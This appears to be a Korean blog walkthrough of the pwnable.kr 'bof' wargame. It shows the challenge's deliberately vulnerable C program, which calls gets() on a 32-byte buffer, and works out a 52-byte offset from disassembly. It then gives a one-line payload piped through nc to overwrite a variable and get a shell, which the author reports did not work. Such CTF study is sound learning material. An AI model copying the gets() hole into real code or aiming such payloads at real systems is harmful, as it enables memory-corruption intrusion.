앞 문제들과는 다르게 nc로 접속하고, 파일을 다운로드할 수 있게 주어줍니다. (다운로드가 안 될때는 wget 명령어를 써보도록하자)
먼저, bof.c 코드를 까보면
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
메인에서 func()에 매개변수(key)로 0xdeadbeef를 보내주고 있습니다. 그리고 key값이 0xcafebabe면 쉘을 딸 수 있습니다. 입력가능한 변수는 overflowme가 있고 자신을 오버플로우 시켜주라고하니 소원을 들어주도록하죠.
먼저 func()을 살펴봤을 때, 가장 먼저 사용된 call은 printf()일 것이고, 두번째로 사용된 친구가 gets 즉 받고있는 값 [ebp-0x2c]가 overflowme입니다. 그리고 func<+40>부분에 cmp로 [ebp+0x8]와 0xcafebabe를 비교하고 있죠? [ebp+0x8]이 key라는 말이 되겠습니다.
위에서 나온대로 입력 가능한 부분인 overflowme의 위치가 [ebp-0x2c]고 값을 덮을 부분인 key의 위치가 [ebp+0x8]이므로 overflowme와 key 사이의 거리를 구하면 52가 나옵니다. 그러므로 다음과 같은 페이로드를 작성할 수 있습니다.
(python -c 'print "D"*52+"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
이대로 터미널에 붙여 넣어주면
네, 안나옵니다. 친구들을 통해 맥북, 칼리 등에서 굴려도 똑같은 에러가 나오더라고요.(작년 중순쯤엔 잘 되던 친구인데...) 그냥 잘못푼거 아닌가 할 수 있지만, 다른 분들 블로그 돌아다녀 보니 아예 같거나 비슷비슷해서 페이로드에 문제가 있어보이진 않습니다. 이렇게 결론짓게 되어 죄송합니다.